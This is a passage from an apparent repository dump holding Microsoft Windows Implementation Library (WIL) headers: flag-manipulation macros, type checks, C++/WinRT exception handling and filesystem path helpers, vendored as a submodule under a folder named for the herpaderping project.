(WI_IsSingleFlagSet(m_flags)) // Is *exactly* one flag set in the given variable?\n//! ~~~~\n//! @{\n\n//! Returns the unsigned type of the same width and numeric value as the given enum\n#define WI_EnumValue(val) static_cast<::wil::integral_from_enum>(val)\n//! Validates that exactly ONE bit is set in compile-time constant `flag`\n#define WI_StaticAssertSingleBitSet(flag) static_cast(::wil::details::verify_single_flag_helper(WI_EnumValue(flag))>::value)\n\n//! @name Bitwise manipulation macros\n//! @{\n\n//! Set zero or more bitflags specified by `flags` in the variable `var`.\n#define WI_SetAllFlags(var, flags) ((var) |= (flags))\n//! Set a single compile-time constant `flag` in the variable `var`.\n#define WI_SetFlag(var, flag) WI_SetAllFlags(var, WI_StaticAssertSingleBitSet(flag))\n//! Conditionally sets a single compile-time constant `flag` in the variable `var` only if `condition` is true.\n#define WI_SetFlagIf(var, flag, condition) do { if (wil::verify_bool(condition)) { WI_SetFlag(var, flag); } } while ((void)0, 0)\n\n//! Clear zero or more bitflags specified by `flags` from the variable `var`.\n#define WI_ClearAllFlags(var, flags) ((var) &= ~(flags))\n//! Clear a single compile-time constant `flag` from the variable `var`.\n#define WI_ClearFlag(var, flag) WI_ClearAllFlags(var, WI_StaticAssertSingleBitSet(flag))\n//! Conditionally clear a single compile-time constant `flag` in the variable `var` only if `condition` is true.\n#define WI_ClearFlagIf(var, flag, condition) do { if (wil::verify_bool(condition)) { WI_ClearFlag(var, flag); } } while ((void)0, 0)\n\n//! Changes a single compile-time constant `flag` in the variable `var` to be set if `isFlagSet` is true or cleared if `isFlagSet` is false.\n#define WI_UpdateFlag(var, flag, isFlagSet) (wil::verify_bool(isFlagSet) ? WI_SetFlag(var, flag) : WI_ClearFlag(var, flag))\n//! Changes only the flags specified by `flagsMask` in the variable `var` to match the corresponding flags in `newFlags`.\n#define WI_UpdateFlagsInMask(var, flagsMask, newFlags) wil::details::UpdateFlagsInMaskHelper(var, flagsMask, newFlags)\n\n//! Toggles (XOR the value) of multiple bitflags specified by `flags` in the variable `var`.\n#define WI_ToggleAllFlags(var, flags) ((var) ^= (flags))\n//! Toggles (XOR the value) of a single compile-time constant `flag` in the variable `var`.\n#define WI_ToggleFlag(var, flag) WI_ToggleAllFlags(var, WI_StaticAssertSingleBitSet(flag))\n//! @} // bitwise manipulation macros\n\n//! @name Bitwise inspection macros\n//! @{\n\n//! Evaluates as true if every bitflag specified in `flags` is set within `val`.\n#define WI_AreAllFlagsSet(val, flags) wil::details::AreAllFlagsSetHelper(val, flags)\n//! Evaluates as true if one or more bitflags specified in `flags` are set within `val`.\n#define WI_IsAnyFlagSet(val, flags) (static_cast(WI_EnumValue(val) & WI_EnumValue(flags)) != static_cast(0))\n//! Evaluates as true if a single compile-time constant `flag` is set within `val`.\n#define WI_IsFlagSet(val, flag) WI_IsAnyFlagSet(val, WI_StaticAssertSingleBitSet(flag))\n\n//! Evaluates as true if every bitflag specified in `flags` is clear within `val`.\n#define WI_AreAllFlagsClear(val, flags) (static_cast(WI_EnumValue(val) & WI_EnumValue(flags)) == static_cast(0))\n//! Evaluates as true if one or more bitflags specified in `flags` are clear within `val`.\n#define WI_IsAnyFlagClear(val, flags) (!wil::details::AreAllFlagsSetHelper(val, flags))\n//! Evaluates as true if a single compile-time constant `flag` is clear within `val`.\n#define WI_IsFlagClear(val, flag) WI_AreAllFlagsClear(val, WI_StaticAssertSingleBitSet(flag))\n\n//! Evaluates as true if exactly one bit (any bit) is set within `val`.\n#define WI_IsSingleFlagSet(val) wil::details::IsSingleFlagSetHelper(val)\n//! Evaluates as true if exactly one bit from within the specified `mask` is set within `val`.\n#define WI_IsSingleFlagSetInMask(val, mask) wil::details::IsSingleFlagSetHelper((val) & (mask))\n//! Evaluates as true if exactly one bit (any bit) is set within `val` or if there are no bits set within `val`.\n#define WI_IsClearOrSingleFlagSet(val) wil::details::IsClearOrSingleFlagSetHelper(val)\n//! Evaluates as true if exactly one bit from within the specified `mask` is set within `val` or if there are no bits from `mask` set within `val`.\n#define WI_IsClearOrSingleFlagSetInMask(val, mask) wil::details::IsClearOrSingleFlagSetHelper((val) & (mask))\n//! @}\n\n#if defined(WIL_DOXYGEN)\n/** This macro provides a C++ header with a guaranteed initialization function.\nNormally, were a global object's constructor used for this purpose, the optimizer/linker might throw\nthe object away if it's unreferenced (which throws away the side-effects that the initialization function\nwas trying to achieve). Using this macro forces linker inclusion of a variable that's initialized by the\nprovided function to elide that optimization.\n//!\nThis functionality is primarily provided as a building block for header-based libraries (such as WIL)\nto be able to layer additional functionality into other libraries by their mere inclusion. Alternative models\nof initialization should be used whenever they are available.\n~~~~\n#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)\nWI_HEADER_INITITALIZATION_FUNCTION(InitializeDesktopFamilyApis, []\n{\n g_pfnGetModuleName = GetCurrentModuleName;\n g_pfnFailFastInLoaderCallout = FailFastInLoaderCallout;\n return 1;\n});\n#endif\n~~~~\nThe above example is used within WIL to decide whether or not the library containing WIL is allowed to use\ndesktop APIs. Building this functionality as #IFDEFs within functions would create ODR violations, whereas\ndoing it with global function pointers and header initialization allows a runtime determination. */\n#define WI_HEADER_INITITALIZATION_FUNCTION(name, fn)\n#elif defined(_M_IX86)\n#define WI_HEADER_INITITALIZATION_FUNCTION(name, fn) \\\n extern \"C\" { __declspec(selectany) unsigned char g_header_init_ ## name = static_cast(fn()); } \\\n __pragma(comment(linker, \"/INCLUDE:_g_header_init_\" #name))\n#elif defined(_M_IA64) || defined(_M_AMD64) || defined(_M_ARM) || defined(_M_ARM64)\n#define WI_HEADER_INITITALIZATION_FUNCTION(name, fn) \\\n extern \"C\" { __declspec(selectany) unsigned char g_header_init_ ## name = static_cast(fn()); } \\\n __pragma(comment(linker, \"/INCLUDE:g_header_init_\" #name))\n#else\n #error linker pragma must include g_header_init variation\n#endif\n\n\n/** All Windows Implementation Library classes and functions are located within the \"wil\" namespace.\nThe 'wil' namespace is an intentionally short name as the intent is for code to be able to reference\nthe namespace directly (example: `wil::srwlock lock;`) without a using statement. Resist adding a using\nstatement for wil to avoid introducing potential name collisions between wil and other namespaces. */\nnamespace wil\n{\n /// @cond\n namespace details\n {\n template \n class pointer_range\n {\n public:\n pointer_range(T begin_, T end_) : m_begin(begin_), m_end(end_) {}\n T begin() const { return m_begin; }\n T end() const { return m_end; }\n private:\n T m_begin;\n T m_end;\n };\n }\n /// @endcond\n\n /** Enables using range-based for between a begin and end object pointer.\n ~~~~\n for (auto& obj : make_range(objPointerBegin, objPointerEnd)) { }\n ~~~~ */\n template \n details::pointer_range make_range(T begin, T end)\n {\n return details::pointer_range(begin, end);\n }\n\n /** Enables using range-based for on a range when given the base pointer and the number of objects in the range.\n ~~~~\n for (auto& obj : make_range(objPointer, objCount)) { }\n ~~~~ */\n template \n details::pointer_range make_range(T begin, size_t count)\n {\n return details::pointer_range(begin, begin + count);\n }\n\n\n //! @defgroup outparam Output Parameters\n //! Improve the conciseness of assigning values to optional output parameters.\n //! @{\n\n /** Assign the given value to an optional output parameter.\n Makes code more concise by removing trivial `if (outParam)` blocks. */\n template \n inline void assign_to_opt_param(_Out_opt_ T *outParam, T val)\n {\n if (outParam != nullptr)\n {\n *outParam = val;\n }\n }\n\n /** Assign NULL to an optional output pointer parameter.\n Makes code more concise by removing trivial `if (outParam)` blocks. */\n template \n inline void assign_null_to_opt_param(_Out_opt_ T *outParam)\n {\n if (outParam != nullptr)\n {\n *outParam = nullptr;\n }\n }\n //! @} // end output parameter helpers\n\n /** Performs a logical or of the given variadic template parameters allowing indirect compile-time boolean evaluation.\n Example usage:\n ~~~~\n template \n struct FeatureRequiredBy\n {\n static const bool enabled = wil::variadic_logical_or::enabled...>::value;\n };\n ~~~~ */\n template struct variadic_logical_or;\n /// @cond\n template <> struct variadic_logical_or<> : wistd::false_type { };\n template struct variadic_logical_or : wistd::true_type { };\n template struct variadic_logical_or : variadic_logical_or::type { };\n /// @endcond\n\n /// @cond\n namespace details\n {\n template \n struct verify_single_flag_helper\n {\n static_assert((flag != 0) && ((flag & (flag - 1)) == 0), \"Single flag expected, zero or multiple flags found\");\n static const unsigned long long value = flag;\n };\n }\n /// @endcond\n\n\n //! @defgroup typesafety Type Validation\n //! Helpers to validate variable types to prevent accidental, but allowed type conversions.\n //! These helpers are most useful when building macros that accept a particular type. Putting these functions around the types accepted\n //! prior to pushing that type through to a function (or using it within the macro) allows the macro to add an additional layer of type\n //! safety that would ordinarily be stripped away by C++ implicit conversions. This system is extensively used in the error handling helper\n //! macros to validate the types given to various macro parameters.\n //! @{\n\n /** Verify that `val` can be evaluated as a logical bool.\n Other types will generate an intentional compilation error. Allowed types for a logical bool are bool, BOOL,\n boolean, BOOLEAN, and classes with an explicit bool cast.\n @param val The logical bool expression\n @return A C++ bool representing the evaluation of `val`. */\n template \n _Post_satisfies_(return == static_cast(val))\n __forceinline constexpr bool verify_bool(const T& val)\n {\n return static_cast(val);\n }\n\n template \n __forceinline constexpr bool verify_bool(T /*val*/)\n {\n static_assert(!wistd::is_same::value, \"Wrong Type: bool/BOOL/BOOLEAN/boolean expected\");\n return false;\n }\n\n template <>\n _Post_satisfies_(return == val)\n __forceinline constexpr bool verify_bool(bool val)\n {\n return val;\n }\n\n template <>\n _Post_satisfies_(return == (val != 0))\n __forceinline constexpr bool verify_bool(int val)\n {\n return (val != 0);\n }\n\n template <>\n _Post_satisfies_(return == !!val)\n __forceinline constexpr bool verify_bool(unsigned char val)\n {\n return !!val;\n }\n\n /** Verify that `val` is a Win32 BOOL value.\n Other types (including other logical bool expressions) will generate an intentional compilation error. Note that this will\n accept any `int` value as long as that is the underlying typedef behind `BOOL`.\n @param val The Win32 BOOL returning expression\n @return A Win32 BOOL representing the evaluation of `val`. */\n template \n _Post_satisfies_(return == val)\n __forceinline constexpr int verify_BOOL(T val)\n {\n // Note: Written in terms of 'int' as BOOL is actually: typedef int BOOL;\n static_assert((wistd::is_same::value), \"Wrong Type: BOOL expected\");\n return val;\n }\n\n /** Verify that `hr` is an HRESULT value.\n Other types will generate an intentional compilation error. Note that this will accept any `long` value as that is the\n underlying typedef behind HRESULT.\n //!\n Note that occasionally you might run into an HRESULT which is directly defined with a #define, such as:\n ~~~~\n #define UIA_E_NOTSUPPORTED 0x80040204\n ~~~~\n Though this looks like an `HRESULT`, this is actually an `unsigned long` (the hex specification forces this). When\n these are encountered and they are NOT in the public SDK (have not yet shipped to the public), then you should change\n their definition to match the manner in which `HRESULT` constants are defined in winerror.h:\n ~~~~\n #define E_NOTIMPL _HRESULT_TYPEDEF_(0x80004001L)\n ~~~~\n When these are encountered in the public SDK, their type should not be changed and you should use a static_cast\n to use this value in a macro that utilizes `verify_hresult`, for example:\n ~~~~\n RETURN_HR_IF(static_cast(UIA_E_NOTSUPPORTED), (patternId != UIA_DragPatternId));\n ~~~~\n @param val The HRESULT returning expression\n @return An HRESULT representing the evaluation of `val`. */\n template \n _Post_satisfies_(return == hr)\n inline constexpr long verify_hresult(T hr)\n {\n // Note: Written in terms of 'int' as HRESULT is actually: typedef _Return_type_success_(return >= 0) long HRESULT\n static_assert(wistd::is_same::value, \"Wrong Type: HRESULT expected\");\n return hr;\n }\n /// @} // end type validation routines\n\n /// @cond\n // Implementation details for macros and helper functions... do not use directly.\n namespace details\n {\n // Use size-specific casts to avoid sign extending numbers -- avoid warning C4310: cast truncates constant value\n #define __WI_MAKE_UNSIGNED(val) \\\n (__pragma(warning(push)) __pragma(warning(disable: 4310 4309)) (sizeof(val) == 1 ? static_cast(val) : \\\n sizeof(val) == 2 ? static_cast(val) : \\\n sizeof(val) == 4 ? static_cast(val) : \\\n static_cast(val)) __pragma(warning(pop)))\n #define __WI_IS_UNSIGNED_SINGLE_FLAG_SET(val) ((val) && !((val) & ((val) - 1)))\n #define __WI_IS_SINGLE_FLAG_SET(val) __WI_IS_UNSIGNED_SINGLE_FLAG_SET(__WI_MAKE_UNSIGNED(val))\n\n template \n __forceinline constexpr bool AreAllFlagsSetHelper(TVal val, TFlags flags)\n {\n return ((val & flags) == static_cast(flags));\n }\n\n template \n __forceinline constexpr bool IsSingleFlagSetHelper(TVal val)\n {\n return __WI_IS_SINGLE_FLAG_SET(val);\n }\n\n template \n __forceinline constexpr bool IsClearOrSingleFlagSetHelper(TVal val)\n {\n return ((val == static_cast>(0)) || IsSingleFlagSetHelper(val));\n }\n\n template \n __forceinline constexpr void UpdateFlagsInMaskHelper(_Inout_ TVal& val, TMask mask, TFlags flags)\n {\n val = static_cast>((val & ~mask) | (flags & mask));\n }\n\n template \n struct variable_size;\n\n template <>\n struct variable_size<1>\n {\n typedef unsigned char type;\n };\n\n template <>\n struct variable_size<2>\n {\n typedef unsigned short type;\n };\n\n template <>\n struct variable_size<4>\n {\n typedef unsigned long type;\n };\n\n template <>\n struct variable_size<8>\n {\n typedef unsigned long long type;\n };\n\n template \n struct variable_size_mapping\n {\n typedef typename variable_size::type type;\n };\n } // details\n /// @endcond\n\n /** Defines the unsigned type of the same width (1, 2, 4, or 8 bytes) as the given type.\n This allows code to generically convert any enum class to it's corresponding underlying type. */\n template \n using integral_from_enum = typename details::variable_size_mapping::type;\n} // wil\n\n#pragma warning(pop)\n\n#endif // __cplusplus\n#endif // __WIL_COMMON_INCLUDED\n" }, { "path": "Inject/herpaderping-main/ext/submodules/wil/cppwinrt.h", "content": "//*********************************************************\n//\n// Copyright (c) Microsoft. All rights reserved.\n// This code is licensed under the MIT License.\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF\n// ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED\n// TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\n// PARTICULAR PURPOSE AND NONINFRINGEMENT.\n//\n//*********************************************************\n#ifndef __WIL_CPPWINRT_INCLUDED\n#define __WIL_CPPWINRT_INCLUDED\n\n#include \"common.h\"\n#include \n#include \n#include \n#include \n\n// WIL and C++/WinRT use two different exception types for communicating HRESULT failures. Thus, both libraries need to\n// understand how to translate these exception types into the correct HRESULT values at the ABI boundary. Prior to\n// C++/WinRT \"2.0\" this was accomplished by injecting the WINRT_EXTERNAL_CATCH_CLAUSE macro - that WIL defines below -\n// into its exception handler (winrt::to_hresult). Starting with C++/WinRT \"2.0\" this mechanism has shifted to a global\n// function pointer - winrt_to_hresult_handler - that WIL sets automatically when this header is included and\n// 'CPPWINRT_SUPPRESS_STATIC_INITIALIZERS' is not defined.\n\n/// @cond\nnamespace wil::details\n{\n // Since the C++/WinRT version macro is a string...\n inline constexpr int major_version_from_string(const char* versionString)\n {\n int result = 0;\n auto str = versionString;\n while ((*str >= '0') && (*str <= '9'))\n {\n result = result * 10 + (*str - '0');\n ++str;\n }\n\n return result;\n }\n}\n/// @endcond\n\n#ifdef CPPWINRT_VERSION\n// Prior to C++/WinRT \"2.0\" this header needed to be included before 'winrt/base.h' so that our definition of\n// 'WINRT_EXTERNAL_CATCH_CLAUSE' would get picked up in the implementation of 'winrt::to_hresult'. This is no longer\n// problematic, so only emit an error when using a version of C++/WinRT prior to 2.0\nstatic_assert(::wil::details::major_version_from_string(CPPWINRT_VERSION) >= 2,\n \"Please include wil/cppwinrt.h before including any C++/WinRT headers\");\n#endif\n\n// NOTE: Will eventually be removed once C++/WinRT 2.0 use can be assumed\n#ifdef WINRT_EXTERNAL_CATCH_CLAUSE\n#define __WI_CONFLICTING_WINRT_EXTERNAL_CATCH_CLAUSE 1\n#else\n#define WINRT_EXTERNAL_CATCH_CLAUSE \\\n catch (const wil::ResultException& e) \\\n { \\\n return winrt::hresult_error(e.GetErrorCode(), winrt::to_hstring(e.what())).to_abi(); \\\n }\n#endif\n\n#include \"result_macros.h\"\n#include \n\n#if __WI_CONFLICTING_WINRT_EXTERNAL_CATCH_CLAUSE\nstatic_assert(::wil::details::major_version_from_string(CPPWINRT_VERSION) >= 2,\n \"C++/WinRT external catch clause already defined outside of WIL\");\n#endif\n\n// In C++/WinRT 2.0 and beyond, this function pointer exists. In earlier versions it does not. It's much easier to avoid\n// linker errors than it is to SFINAE on variable existence, so we declare the variable here, but are careful not to\n// use it unless the version of C++/WinRT is high enough\nextern std::int32_t(__stdcall* winrt_to_hresult_handler)(void*) noexcept;\n\n/// @cond\nnamespace wil::details\n{\n inline void MaybeGetExceptionString(\n const winrt::hresult_error& exception,\n _Out_writes_opt_(debugStringChars) PWSTR debugString,\n _When_(debugString != nullptr, _Pre_satisfies_(debugStringChars > 0)) size_t debugStringChars)\n {\n if (debugString)\n {\n StringCchPrintfW(debugString, debugStringChars, L\"winrt::hresult_error: %ls\", exception.message().c_str());\n }\n }\n\n inline HRESULT __stdcall ResultFromCaughtException_CppWinRt(\n _Inout_updates_opt_(debugStringChars) PWSTR debugString,\n _When_(debugString != nullptr, _Pre_satisfies_(debugStringChars > 0)) size_t debugStringChars,\n _Inout_ bool* isNormalized) noexcept\n {\n if (g_pfnResultFromCaughtException)\n {\n try\n {\n throw;\n }\n catch (const ResultException& exception)\n {\n *isNormalized = true;\n MaybeGetExceptionString(exception, debugString, debugStringChars);\n return exception.GetErrorCode();\n }\n catch (const winrt::hresult_error& exception)\n {\n MaybeGetExceptionString(exception, debugString, debugStringChars);\n return exception.to_abi();\n }\n catch (const std::bad_alloc& exception)\n {\n MaybeGetExceptionString(exception, debugString, debugStringChars);\n return E_OUTOFMEMORY;\n }\n catch (const std::out_of_range& exception)\n {\n MaybeGetExceptionString(exception, debugString, debugStringChars);\n return E_BOUNDS;\n }\n catch (const std::invalid_argument& exception)\n {\n MaybeGetExceptionString(exception, debugString, debugStringChars);\n return E_INVALIDARG;\n }\n catch (...)\n {\n auto hr = RecognizeCaughtExceptionFromCallback(debugString, debugStringChars);\n if (FAILED(hr))\n {\n return hr;\n }\n }\n }\n else\n {\n try\n {\n throw;\n }\n catch (const ResultException& exception)\n {\n *isNormalized = true;\n MaybeGetExceptionString(exception, debugString, debugStringChars);\n return exception.GetErrorCode();\n }\n catch (const winrt::hresult_error& exception)\n {\n MaybeGetExceptionString(exception, debugString, debugStringChars);\n return exception.to_abi();\n }\n catch (const std::bad_alloc& exception)\n {\n MaybeGetExceptionString(exception, debugString, debugStringChars);\n return E_OUTOFMEMORY;\n }\n catch (const std::out_of_range& exception)\n {\n MaybeGetExceptionString(exception, debugString, debugStringChars);\n return E_BOUNDS;\n }\n catch (const std::invalid_argument& exception)\n {\n MaybeGetExceptionString(exception, debugString, debugStringChars);\n return E_INVALIDARG;\n }\n catch (const std::exception& exception)\n {\n MaybeGetExceptionString(exception, debugString, debugStringChars);\n return HRESULT_FROM_WIN32(ERROR_UNHANDLED_EXCEPTION);\n }\n catch (...)\n {\n // Fall through to returning 'S_OK' below\n }\n }\n\n // Tell the caller that we were unable to map the exception by succeeding...\n return S_OK;\n }\n}\n/// @endcond\n\nnamespace wil\n{\n inline std::int32_t __stdcall winrt_to_hresult(void* returnAddress) noexcept\n {\n // C++/WinRT only gives us the return address (caller), so pass along an empty 'DiagnosticsInfo' since we don't\n // have accurate file/line/etc. information\n return static_cast(details::ReportFailure_CaughtException(__R_DIAGNOSTICS_RA(DiagnosticsInfo{}, returnAddress)));\n }\n\n inline void WilInitialize_CppWinRT()\n {\n details::g_pfnResultFromCaughtException_CppWinRt = details::ResultFromCaughtException_CppWinRt;\n if constexpr (details::major_version_from_string(CPPWINRT_VERSION) >= 2)\n {\n WI_ASSERT(winrt_to_hresult_handler == nullptr);\n winrt_to_hresult_handler = winrt_to_hresult;\n }\n }\n\n /// @cond\n namespace details\n {\n#ifndef CPPWINRT_SUPPRESS_STATIC_INITIALIZERS\n WI_ODR_PRAGMA(\"CPPWINRT_SUPPRESS_STATIC_INITIALIZERS\", \"0\")\n WI_HEADER_INITITALIZATION_FUNCTION(WilInitialize_CppWinRT, []\n {\n ::wil::WilInitialize_CppWinRT();\n return 1;\n });\n#else\n WI_ODR_PRAGMA(\"CPPWINRT_SUPPRESS_STATIC_INITIALIZERS\", \"1\")\n#endif\n }\n /// @endcond\n\n // Provides an overload of verify_hresult so that the WIL macros can recognize winrt::hresult as a valid \"hresult\" type.\n inline long verify_hresult(winrt::hresult hr) noexcept\n {\n return hr;\n }\n\n // Provides versions of get_abi and put_abi for genericity that directly use HSTRING for convenience.\n template \n auto get_abi(T const& object) noexcept\n {\n return winrt::get_abi(object);\n }\n\n inline auto get_abi(winrt::hstring const& object) noexcept\n {\n return static_cast(winrt::get_abi(object));\n }\n\n template \n auto put_abi(T& object) noexcept\n {\n return winrt::put_abi(object);\n }\n\n inline auto put_abi(winrt::hstring& object) noexcept\n {\n return reinterpret_cast(winrt::put_abi(object));\n }\n\n inline ::IUnknown* com_raw_ptr(const winrt::Windows::Foundation::IUnknown& ptr) noexcept\n {\n return static_cast<::IUnknown*>(winrt::get_abi(ptr));\n }\n\n // Needed to power wil::cx_object_from_abi that requires IInspectable\n inline ::IInspectable* com_raw_ptr(const winrt::Windows::Foundation::IInspectable& ptr) noexcept\n {\n return static_cast<::IInspectable*>(winrt::get_abi(ptr));\n }\n\n // Taken from the docs.microsoft.com article\n template \n T convert_from_abi(::IUnknown* from)\n {\n T to{ nullptr }; // `T` is a projected type.\n winrt::check_hresult(from->QueryInterface(winrt::guid_of(), winrt::put_abi(to)));\n return to;\n }\n}\n\n#endif // __WIL_CPPWINRT_INCLUDED\n" }, { "path": "Inject/herpaderping-main/ext/submodules/wil/filesystem.h", "content": "//*********************************************************\n//\n// Copyright (c) Microsoft. All rights reserved.\n// This code is licensed under the MIT License.\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF\n// ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED\n// TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\n// PARTICULAR PURPOSE AND NONINFRINGEMENT.\n//\n//*********************************************************\n#ifndef __WIL_FILESYSTEM_INCLUDED\n#define __WIL_FILESYSTEM_INCLUDED\n\n#ifdef _KERNEL_MODE\n#error This header is not supported in kernel-mode.\n#endif\n\n#include \n#include // Needed for CoTaskMemFree() used in output of some helpers.\n#include // LocalAlloc\n#include \n#include \"result.h\"\n#include \"win32_helpers.h\"\n#include \"resource.h\"\n\nnamespace wil\n{\n //! Determines if a path is an extended length path that can be used to access paths longer than MAX_PATH.\n inline bool is_extended_length_path(_In_ PCWSTR path)\n {\n return wcsncmp(path, L\"\\\\\\\\?\\\\\", 4) == 0;\n }\n\n#if (_WIN32_WINNT >= _WIN32_WINNT_WIN7)\n //! Find the last segment of a path. Matches the behavior of shlwapi!PathFindFileNameW()\n //! note, does not support streams being specified like PathFindFileNameW(), is that a bug or a feature?\n inline PCWSTR find_last_path_segment(_In_ PCWSTR path)\n {\n auto const pathLength = wcslen(path);\n // If there is a trailing slash ignore that in the search.\n auto const limitedLength = ((pathLength > 0) && (path[pathLength - 1] == L'\\\\')) ? (pathLength - 1) : pathLength;\n\n PCWSTR result;\n auto const offset = FindStringOrdinal(FIND_FROMEND, path, static_cast(limitedLength), L\"\\\\\", 1, TRUE);\n if (offset == -1)\n {\n result = path + pathLength; // null terminator\n }\n else\n {\n result = path + offset + 1; // just past the slash\n }\n return result;\n }\n#endif\n\n //! Determine if the file name is one of the special \".\" or \"..\" names.\n inline bool path_is_dot_or_dotdot(_In_ PCWSTR fileName)\n {\n return ((fileName[0] == L'.') &&\n ((fileName[1] == L'\\0') || ((fileName[1] == L'.') && (fileName[2] == L'\\0'))));\n }\n\n //! Returns the drive number, if it has one. Returns true if there is a drive number, false otherwise. Supports regular and extended length paths.\n inline bool try_get_drive_letter_number(_In_ PCWSTR path, _Out_ int* driveNumber)\n {\n if (path[0] == L'\\\\' && path[1] == L'\\\\' && path[2] == L'?' && path[3] == L'\\\\')\n {\n path += 4;\n }\n if (path[0] && (path[1] == L':'))\n {\n if ((path[0] >= L'a') && (path[0] <= L'z'))\n {\n *driveNumber = path[0] - L'a';\n return true;\n }\n else if ((path[0] >= L'A') && (path[0] <= L'Z'))\n {\n *driveNumber = path[0] - L'A';\n return true;\n }\n }\n *driveNumber = -1;\n return false;\n }\n\n#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) && (_WIN32_WINNT >= _WIN32_WINNT_WIN7)\n\n // PathCch.h APIs are only in desktop API for now.\n\n // Compute the substring in the input value that is the parent folder path.\n // returns:\n // true + parentPathLength - path has a parent starting at the beginning path and of parentPathLength length.\n // false, no parent path, the input is a root path.\n inline bool try_get_parent_path_range(_In_ PCWSTR path, _Out_ size_t* parentPathLength)\n {\n *parentPathLength = 0;\n bool hasParent = false;\n PCWSTR rootEnd;\n if (SUCCEEDED(PathCchSkipRoot(path, &rootEnd)) && (*rootEnd != L'\\0'))\n {\n auto const lastSegment = find_last_path_segment(path);\n *parentPathLength = lastSegment - path;\n hasParent = (*parentPathLength != 0);\n }\n return hasParent;\n }\n\n // Creates directories for the specified path, creating parent paths\n // as needed.\n inline HRESULT CreateDirectoryDeepNoThrow(PCWSTR path) WI_NOEXCEPT\n {\n if (::CreateDirectoryW(path, nullptr) == FALSE)\n {\n DWORD const lastError = ::GetLastError();\n if (lastError == ERROR_PATH_NOT_FOUND)\n {\n size_t parentLength;\n if (try_get_parent_path_range(path, &parentLength))\n {\n wistd::unique_ptr parent(new (std::nothrow) wchar_t[parentLength + 1]);\n RETURN_IF_NULL_ALLOC(parent.get());\n RETURN_IF_FAILED(StringCchCopyNW(parent.get(), parentLength + 1, path, parentLength));\n CreateDirectoryDeepNoThrow(parent.get()); // recurs\n }\n RETURN_IF_WIN32_BOOL_FALSE(::CreateDirectoryW(path, nullptr));\n }\n else if (lastError != ERROR_ALREADY_EXISTS)\n {\n RETURN_WIN32(lastError);\n }\n }\n return S_OK;\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n inline void CreateDirectoryDeep(PCWSTR path)\n {\n THROW_IF_FAILED(CreateDirectoryDeepNoThrow(path));\n }\n#endif // WIL_ENABLE_EXCEPTIONS\n\n //! A strongly typed version of the Win32 API GetFullPathNameW.\n //! Return a path in an allocated buffer for handling long paths.\n //! Optionally return the pointer to the file name part.\n template \n HRESULT GetFullPathNameW(PCWSTR file, string_type& path, _Outptr_opt_ PCWSTR* filePart = nullptr)\n {\n wil::assign_null_to_opt_param(filePart);\n const auto hr = AdaptFixedSizeToAllocatedResult(path,\n [&](_Out_writes_(valueLength) PWSTR value, size_t valueLength, _Out_ size_t* valueLengthNeededWithNull) -> HRESULT\n {\n // Note that GetFullPathNameW() is not limited to MAX_PATH\n // but it does take a fixed size buffer.\n *valueLengthNeededWithNull = ::GetFullPathNameW(file, static_cast(valueLength), value, nullptr);\n RETURN_LAST_ERROR_IF(*valueLengthNeededWithNull == 0);\n WI_ASSERT((*value != L'\\0') == (*valueLengthNeededWithNull < valueLength));\n if (*valueLengthNeededWithNull < valueLength)\n {\n (*valueLengthNeededWithNull)++; // it fit, account for the null\n }\n return S_OK;\n });\n if (SUCCEEDED(hr) && filePart)\n {\n *filePart = wil::find_last_path_segment(details::string_maker::get(path));\n }\n return hr;\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n //! A strongly typed version of the Win32 API of GetFullPathNameW.\n //! Return a path in an allocated buffer for handling long paths.\n //! Optionally return the pointer to the file name part.\n template \n string_type GetFullPathNameW(PCWSTR file, _Outptr_opt_ PCWSTR* filePart = nullptr)\n {\n string_type result;\n THROW_IF_FAILED((GetFullPathNameW(file, result, filePart)));\n return result;\n }\n#endif\n\n enum class RemoveDirectoryOptions\n {\n None = 0,\n KeepRootDirectory = 0x1,\n RemoveReadOnly = 0x2,\n };\n DEFINE_ENUM_FLAG_OPERATORS(RemoveDirectoryOptions);\n\n namespace details\n {\n // Reparse points should not be traversed in most recursive walks of the file system,\n // unless allowed through the appropriate reparse tag.\n inline bool CanRecurseIntoDirectory(const FILE_ATTRIBUTE_TAG_INFO& info)\n {\n return (WI_IsFlagSet(info.FileAttributes, FILE_ATTRIBUTE_DIRECTORY) &&\n (WI_IsFlagClear(info.FileAttributes, FILE_ATTRIBUTE_REPARSE_POINT) ||\n (IsReparseTagDirectory(info.ReparseTag) || (info.ReparseTag == IO_REPARSE_TAG_WCI))));\n }\n }\n\n // Retrieve a handle to a directory only if it is safe to recurse into.\n inline wil::unique_hfile TryCreateFileCanRecurseIntoDirectory(PCWSTR path, PWIN32_FIND_DATAW fileFindData)\n {\n wil::unique_hfile result(CreateFileW(path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_DELETE,\n nullptr, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT, nullptr));\n if (result)\n {\n FILE_ATTRIBUTE_TAG_INFO fati;\n if (GetFileInformationByHandleEx(result.get(), FileAttributeTagInfo, &fati, sizeof(fati)) &&\n details::CanRecurseIntoDirectory(fati))\n {\n if (fileFindData)\n {\n // Refresh the found file's data now that we have secured the directory from external manipulation.\n fileFindData->dwFileAttributes = fati.FileAttributes;\n fileFindData->dwReserved0 = fati.ReparseTag;\n }\n }\n else\n {\n result.reset();\n }\n }\n\n return result;\n }\n\n // If inputPath is a non-normalized name be sure to pass an extended length form to ensure\n // it can be addressed and deleted.\n inline HRESULT RemoveDirectoryRecursiveNoThrow(PCWSTR inputPath, RemoveDirectoryOptions options = RemoveDirectoryOptions::None) WI_NOEXCEPT\n {\n wil::unique_hlocal_string path;\n PATHCCH_OPTIONS combineOptions = PATHCCH_NONE;\n\n if (is_extended_length_path(inputPath))\n {\n path = wil::make_hlocal_string_nothrow(inputPath);\n RETURN_IF_NULL_ALLOC(path);\n // PathAllocCombine will convert extended length paths to regular paths if shorter than\n // MAX_PATH, avoid that behavior to provide access inputPath with non-normalized 